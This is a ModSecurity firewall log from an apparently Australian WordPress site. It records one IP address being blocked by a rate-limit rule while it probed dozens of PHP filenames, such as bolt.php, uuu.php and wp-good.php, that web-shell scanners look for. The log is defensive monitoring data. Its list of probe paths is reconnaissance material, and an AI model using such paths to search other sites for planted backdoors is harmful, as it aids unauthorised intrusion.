[Fri Mar 27 04:48:55.598403 2026] [:error] [pid 27851:tid 27876] [client 72.146.33.200:62332] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blogs.php"] [unique_id "acWbt3R2ccxe3RMCLbr8XQAAANI"]
[Fri Mar 27 04:48:56.981857 2026] [:error] [pid 27750:tid 27823] [client 72.146.33.200:64792] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blogs.php"] [unique_id "acWbuIaSil5rd17ieLwoMwAAAIU"]
[Fri Mar 27 04:48:57.466966 2026] [:error] [pid 27851:tid 27870] [client 72.146.33.200:64743] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blogs.php"] [unique_id "acWbuXR2ccxe3RMCLbr8ZAAAAMw"]
[Fri Mar 27 04:48:57.955906 2026] [:error] [pid 27743:tid 27780] [client 72.146.33.200:65261] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "acWbuSA46UYYLqzw99DyWAAAABA"]
[Fri Mar 27 04:48:58.428306 2026] [:error] [pid 27749:tid 27815] [client 72.146.33.200:65338] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "acWbusEqyoMni2Q6_X5RIgAAAFg"]
[Fri Mar 27 04:48:59.022214 2026] [:error] [pid 27749:tid 27814] [client 72.146.33.200:62296] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "acWbu8EqyoMni2Q6_X5RJAAAAFc"]
[Fri Mar 27 04:48:59.992403 2026] [:error] [pid 27749:tid 27804] [client 72.146.33.200:64726] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "acWbu8EqyoMni2Q6_X5RJwAAAE0"]
[Fri Mar 27 04:49:00.527461 2026] [:error] [pid 27750:tid 27831] [client 72.146.33.200:65268] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/init.php"] [unique_id "acWbvIaSil5rd17ieLwoPQAAAI0"]
[Fri Mar 27 04:49:01.071085 2026] [:error] [pid 27750:tid 27819] [client 72.146.33.200:64754] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/init.php"] [unique_id "acWbvYaSil5rd17ieLwoQgAAAIE"]
[Fri Mar 27 04:49:01.603113 2026] [:error] [pid 27750:tid 27826] [client 72.146.33.200:65308] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/init.php"] [unique_id "acWbvYaSil5rd17ieLwoRQAAAIg"]
[Fri Mar 27 04:49:02.076736 2026] [:error] [pid 63897:tid 63920] [client 72.146.33.200:65330] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/init.php"] [unique_id "acWbvmVSkmYmLu7ycYjF0gAAARU"]
[Fri Mar 27 04:49:02.625962 2026] [:error] [pid 27749:tid 27812] [client 72.146.33.200:64791] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "acWbvsEqyoMni2Q6_X5RLwAAAFU"]
[Fri Mar 27 04:49:03.222623 2026] [:error] [pid 63897:tid 63912] [client 72.146.33.200:64803] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "acWbv2VSkmYmLu7ycYjF1gAAAQ0"]
[Fri Mar 27 04:49:03.688987 2026] [:error] [pid 27743:tid 27768] [client 72.146.33.200:65244] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "acWbvyA46UYYLqzw99DyYgAAAAQ"]
[Fri Mar 27 04:49:04.227247 2026] [:error] [pid 27851:tid 27861] [client 72.146.33.200:64384] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "acWbwHR2ccxe3RMCLbr8aAAAAMM"]
[Fri Mar 27 04:49:04.961108 2026] [:error] [pid 27749:tid 27798] [client 72.146.33.200:64711] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "acWbwMEqyoMni2Q6_X5RNgAAAEc"]
[Fri Mar 27 04:49:05.466531 2026] [:error] [pid 63897:tid 63922] [client 72.146.33.200:65340] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "acWbwWVSkmYmLu7ycYjF3gAAARc"]
[Fri Mar 27 04:49:06.026205 2026] [:error] [pid 63897:tid 63905] [client 72.146.33.200:64069] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "acWbwmVSkmYmLu7ycYjF4gAAAQY"]
[Fri Mar 27 04:49:06.504062 2026] [:error] [pid 63897:tid 63923] [client 72.146.33.200:64725] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "acWbwmVSkmYmLu7ycYjF5gAAARg"]
[Fri Mar 27 04:49:07.004141 2026] [:error] [pid 27750:tid 27836] [client 72.146.33.200:64793] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "acWbw4aSil5rd17ieLwoSQAAAJI"]
[Fri Mar 27 04:49:07.789622 2026] [:error] [pid 63897:tid 63905] [client 72.146.33.200:62324] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "acWbw2VSkmYmLu7ycYjF7QAAAQY"]
[Fri Mar 27 04:49:08.394904 2026] [:error] [pid 63897:tid 63923] [client 72.146.33.200:64718] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "acWbxGVSkmYmLu7ycYjF8AAAARg"]
[Fri Mar 27 04:49:10.744555 2026] [:error] [pid 27750:tid 27831] [client 72.146.33.200:64762] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "acWbxoaSil5rd17ieLwoTwAAAI0"]
[Fri Mar 27 04:49:12.623341 2026] [:error] [pid 27851:tid 27860] [client 72.146.33.200:65219] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "acWbyHR2ccxe3RMCLbr8cAAAAMI"]
[Fri Mar 27 04:49:13.434629 2026] [:error] [pid 63897:tid 63912] [client 72.146.33.200:65316] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "acWbyWVSkmYmLu7ycYjGCgAAAQ0"]
[Fri Mar 27 04:49:14.395914 2026] [:error] [pid 27851:tid 27871] [client 72.146.33.200:62331] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "acWbynR2ccxe3RMCLbr8dgAAAM0"]
[Fri Mar 27 04:49:14.948592 2026] [:error] [pid 27743:tid 27777] [client 72.146.33.200:64772] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "acWbyiA46UYYLqzw99DyawAAAA0"]
[Fri Mar 27 04:49:15.463734 2026] [:error] [pid 27749:tid 27815] [client 72.146.33.200:64825] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "acWby8EqyoMni2Q6_X5RRQAAAFg"]
[Fri Mar 27 04:49:16.000393 2026] [:error] [pid 27750:tid 27820] [client 72.146.33.200:64819] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "acWby4aSil5rd17ieLwoVgAAAII"]
[Fri Mar 27 04:49:16.681185 2026] [:error] [pid 27750:tid 27827] [client 72.146.33.200:65329] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "acWbzIaSil5rd17ieLwoWQAAAIk"]
[Fri Mar 27 04:49:17.286629 2026] [:error] [pid 27750:tid 27834] [client 72.146.33.200:65234] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "acWbzYaSil5rd17ieLwoXgAAAJA"]
[Fri Mar 27 04:49:17.784406 2026] [:error] [pid 27750:tid 27826] [client 72.146.33.200:65327] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mh.php"] [unique_id "acWbzYaSil5rd17ieLwoYQAAAIg"]
[Fri Mar 27 04:49:18.339488 2026] [:error] [pid 27743:tid 27778] [client 72.146.33.200:65325] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mh.php"] [unique_id "acWbziA46UYYLqzw99DybgAAAA4"]
[Fri Mar 27 04:49:18.904275 2026] [:error] [pid 63897:tid 63901] [client 72.146.33.200:65235] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mh.php"] [unique_id "acWbzmVSkmYmLu7ycYjGEQAAAQI"]
[Fri Mar 27 04:49:19.452321 2026] [:error] [pid 63897:tid 63899] [client 72.146.33.200:62278] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mh.php"] [unique_id "acWbz2VSkmYmLu7ycYjGFAAAAQA"]
[Fri Mar 27 04:49:19.919445 2026] [:error] [pid 27750:tid 27835] [client 72.146.33.200:64404] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acWbz4aSil5rd17ieLwoYwAAAJE"]
[Fri Mar 27 04:49:20.467839 2026] [:error] [pid 27749:tid 27803] [client 72.146.33.200:64806] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acWb0MEqyoMni2Q6_X5RSgAAAEw"]
[Fri Mar 27 04:49:21.051392 2026] [:error] [pid 27750:tid 27832] [client 72.146.33.200:64417] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acWb0YaSil5rd17ieLwoZgAAAI4"]
[Fri Mar 27 04:49:21.583175 2026] [:error] [pid 27749:tid 27815] [client 72.146.33.200:64788] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acWb0cEqyoMni2Q6_X5RTQAAAFg"]
[Fri Mar 27 04:49:22.051619 2026] [:error] [pid 27750:tid 27821] [client 72.146.33.200:65282] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file.php"] [unique_id "acWb0oaSil5rd17ieLwoZwAAAIM"]
[Fri Mar 27 04:49:22.520009 2026] [:error] [pid 27749:tid 27811] [client 72.146.33.200:65295] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file.php"] [unique_id "acWb0sEqyoMni2Q6_X5RVgAAAFQ"]
[Fri Mar 27 04:49:23.095603 2026] [:error] [pid 63897:tid 63920] [client 72.146.33.200:64025] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file.php"] [unique_id "acWb02VSkmYmLu7ycYjGGgAAARU"]
[Fri Mar 27 04:49:23.633092 2026] [:error] [pid 27851:tid 27872] [client 72.146.33.200:62323] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file.php"] [unique_id "acWb03R2ccxe3RMCLbr8hQAAAM4"]
[Fri Mar 27 04:49:24.208158 2026] [:error] [pid 27749:tid 27795] [client 72.146.33.200:65307] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/as.php"] [unique_id "acWb1MEqyoMni2Q6_X5RWwAAAEQ"]
[Fri Mar 27 04:49:24.743962 2026] [:error] [pid 27749:tid 27793] [client 72.146.33.200:62320] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/as.php"] [unique_id "acWb1MEqyoMni2Q6_X5RXQAAAEI"]
[Fri Mar 27 04:49:25.249078 2026] [:error] [pid 63897:tid 63912] [client 72.146.33.200:64795] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/as.php"] [unique_id "acWb1WVSkmYmLu7ycYjGJQAAAQ0"]
[Fri Mar 27 04:49:25.774988 2026] [:error] [pid 63897:tid 63903] [client 72.146.33.200:64817] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/as.php"] [unique_id "acWb1WVSkmYmLu7ycYjGKAAAAQQ"]
[Fri Mar 27 04:50:17.559691 2026] [:error] [pid 27743:tid 27780] [client 72.146.33.200:64820] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "acWcCSA46UYYLqzw99DypQAAABA"]
[Fri Mar 27 04:50:19.255881 2026] [:error] [pid 27750:tid 27821] [client 72.146.33.200:64712] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "acWcC4aSil5rd17ieLwovQAAAIM"]
[Fri Mar 27 04:50:21.562586 2026] [:error] [pid 27851:tid 27860] [client 72.146.33.200:64713] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "acWcDXR2ccxe3RMCLbr9CAAAAMI"]
[Fri Mar 27 04:50:23.015217 2026] [:error] [pid 63897:tid 63909] [client 72.146.33.200:65280] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "acWcD2VSkmYmLu7ycYjG3gAAAQo"]
[Fri Mar 27 04:50:23.697695 2026] [:error] [pid 27750:tid 27827] [client 72.146.33.200:62304] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "acWcD4aSil5rd17ieLwowQAAAIk"]
[Fri Mar 27 04:50:24.296324 2026] [:error] [pid 27749:tid 27800] [client 72.146.33.200:64738] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "acWcEMEqyoMni2Q6_X5RqwAAAEk"]
[Fri Mar 27 04:50:25.139142 2026] [:error] [pid 63897:tid 63921] [client 72.146.33.200:64810] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "acWcEWVSkmYmLu7ycYjG4wAAARY"]
[Fri Mar 27 04:50:25.619547 2026] [:error] [pid 63897:tid 63913] [client 72.146.33.200:65292] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "acWcEWVSkmYmLu7ycYjG5wAAAQ4"]
[Fri Mar 27 04:50:26.102195 2026] [:error] [pid 27750:tid 27823] [client 72.146.33.200:65319] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccs.php"] [unique_id "acWcEoaSil5rd17ieLwowwAAAIU"]
